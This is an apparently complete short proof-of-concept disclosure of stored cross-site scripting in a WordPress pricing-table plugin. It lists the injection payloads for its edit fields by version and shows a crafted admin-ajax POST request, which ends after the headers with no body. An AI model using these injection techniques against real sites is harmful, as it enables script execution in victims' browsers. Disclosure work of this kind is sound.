v < 1.8.8

Enter the following payload into the "Edit" field in the top left corner: "><script>alert(1)</script><!--'
The payload will execute when viewing the pricing table itself, and also in the "Show All Tables" section.

Enter the following payload into the "Edit HTML" section in the top right corner:	<script>alert(1)</script><!--
The payload will get stored and will execute everytime the user attempts to view the pricing table.

v <= 1.8.8, use a payload such as aa<img src onerror=alert(/XSS/)> instead of the <script> one above

v < 1.9.0, the edit HTML feature was removed client side but a crafted request could still be used:

POST /wp-admin/admin-ajax.php HTTP/1.1
User-Agent: YOLO
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 142
Connection: close
Cookie: [admin cookies]